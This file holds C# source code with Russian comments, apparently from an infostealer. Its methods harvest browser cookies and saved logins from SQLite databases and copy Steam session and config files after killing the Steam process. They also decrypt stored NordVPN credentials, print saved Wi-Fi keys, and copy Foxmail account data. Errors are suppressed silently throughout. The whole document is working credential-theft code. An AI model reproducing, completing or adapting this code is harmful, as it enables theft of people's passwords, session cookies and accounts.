public static void Inizialize() { foreach (string v in Searcher.Database) { string save = CombineEx.CombinePath(GlobalPath.CookiesLogs, $"{CombineEx.GetFileNameWithoutExtension(v)}.txt"); if (CombineEx.ExistsFile(v)) { try { using (var Connect = new SQLiteConnection($"Data Source={v};pooling=false;FailIfMissing=False")) { Connect.Open(); using (var ComText = new SQLiteCommand(COOKIES, Connect)) using (SQLiteDataReader reader = ComText.ExecuteReader()) { if (!reader.HasRows) { continue; } else { SaveLogs(v, save, reader); } } SQLiteConnection.ClearPool(Connect); } } catch { } } } CombineEx.CreateOrDeleteDirectoryEx(false, CombineEx.CombinePath(GlobalPath.HomePath, "Cookies")); }
/// <summary> /// Метод который записывает все пароли из всех БД в разные файлы /// </summary> public static void Inizialize_Multi_file() { foreach (string v in Searcher.Database) { string BrowserName = CombineEx.GetFileNameWithoutExtension(v); string save = CombineEx.CombinePath(GlobalPath.Logs, $"{BrowserName}.txt"); try { using (var Connect = new SQLiteConnection($"Data Source={v};Version=3;New=False;Compress=True;")) { Connect.Open(); using (var ComText = new SQLiteCommand(COMMANDTEXT, Connect)) using (SQLiteDataReader reader = ComText.ExecuteReader()) { if (!reader.HasRows) { continue; } else { SaveLogs(BrowserName, save, reader); } } SQLiteConnection.ClearPool(Connect); } } catch { continue; } } CombineEx.CreateOrDeleteDirectoryEx(false, CombineEx.CombinePath(GlobalPath.HomePath, "Logins")); }
/// <summary> /// Метод для сбора файлов со Steam директории /// </summary> /// <param name="exp">Сбор файлов без расширений ( *." )</param> /// <param name="congfiles">Сбор файлов с config директории</param> /// <param name="name">Именная папка Config</param> /// <param name="proc">Имя процесса Стим</param> public static void Inizialize(string exp, string congfiles, string name, string proc) { // Проверяем путь к папке стим if (CombineEx.ExistsDir(SteamPath.GetLocationSteam())) { CombineEx.CreateOrDeleteDirectoryEx(true, CombineEx.CombinePath(GlobalPath.Steam_Dir, name), FileAttributes.Normal); CombineEx.CreateFile(false, GlobalPath.SteamID, SteamProfiles.GetSteamID()); // Закрываем процесс чтобы можно было скопировать файлы. ProcessControl.Closing(proc); try { // Проходимся циклом по файлам без расширения foreach (var Unknown in Directory.EnumerateFiles(SteamPath.GetLocationSteam(), exp).Where( // Проверяем файл Unknown => File.Exists(Unknown)).Where( // Обходим файл .crash Unknown => !Unknown.Contains(".crash")).Select(Unknown => Unknown)) { CombineEx.FileCopy(Unknown, CombineEx.CombinePath(GlobalPath.Steam_Dir, CombineEx.GetFileName(Unknown)), true); } // Проходимся циклом по файлам конфиг foreach (var Config in Directory.EnumerateFiles(CombineEx.CombinePath(SteamPath.GetLocationSteam(), name), congfiles).Where( // Проверяем файл Config => File.Exists(Config)).Select(Config => Config)) { CombineEx.FileCopy(Config, CombineEx.CombinePath(CombineEx.CombinePath(GlobalPath.Steam_Dir, name), CombineEx.GetFileName(Config)), true); } } catch { } } }
public static void Inizialize_Grabber() { try { var nord = new DirectoryInfo(GlobalPath.NordPath); if (nord.Exists) { foreach (var info in nord.GetDirectories("NordVpn.exe*").SelectMany(nordir => nordir.GetDirectories().Select(info => info))) { string userConfigPath = CombineEx.CombinePath(info.FullName, "user.config"); if (CombineEx.ExistsFile(userConfigPath)) { var xf = new XmlDocument() { XmlResolver = null }; xf.Load(userConfigPath); string encodedUsername = xf.SelectSingleNode("//setting[@name='Username']/value").InnerText; string encodedPassword = xf.SelectSingleNode("//setting[@name='Password']/value").InnerText; if (!string.IsNullOrWhiteSpace(encodedUsername) || !string.IsNullOrWhiteSpace(encodedPassword)) { string decuser = DecryptTools.DecodeNord(encodedUsername, DataProtectionScope.LocalMachine); string decpass = DecryptTools.DecodeNord(encodedPassword, DataProtectionScope.LocalMachine); CombineEx.CreateFile(true, GlobalPath.NordSave, $"Login: {decuser} \r\nPassword: {decpass}\r\n"); } } } } } catch { } }
public static void Inizialize() { var wifipath = CombineEx.CombinePath(GlobalPath.AllUsers, @"Microsoft\Wlansvc\Profiles\Interfaces"); try { var wafla = new DirectoryInfo(wifipath); if (wafla.Exists) { foreach (var file in wafla.GetDirectories("{*}").SelectMany(info => info.GetFiles().Select(file => file))) { string wificonfig = CombineEx.CombinePath(file.FullName); if (wificonfig.EndsWith(".xml")) { XNamespace xmlns = "http://www.microsoft.com/networking/WLAN/profile/v1"; var xml = XDocument.Load(wificonfig); string name = xml.Root.Element(xmlns + "name").Value, keyMaterial = xml.Descendants(xmlns + "keyMaterial").Single().Value; Console.WriteLine($"Profile: {name}"); Console.WriteLine($"Password: {keyMaterial}"); } } } } catch { } }
public static void Inizialize() { ProcessControl.Closing("Foxmail"); const string FOXPATH = @"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command"; string UserDat = string.Empty, FinalPath = string.Empty, Email = string.Empty; if (CombineEx.ExistsDir(FoxMailPath.GetFoxMail(FOXPATH))) { try { foreach (string dir in Directory.EnumerateDirectories(FoxMailPath.GetFoxMail(FOXPATH), "*@*", SearchOption.TopDirectoryOnly)) { Email = dir.Substring(dir.LastIndexOf("\\") + 1); UserDat = CombineEx.CombinePath(dir, @"Accounts\Account.rec0"); FinalPath = CombineEx.CombinePath(GlobalPath.FoxMailPass, @"Account.rec0"); CombineEx.FileCopy(UserDat, FinalPath, false); break; } } catch { } Reader(UserDat, Email); CombineEx.DeleteFile(FinalPath); } }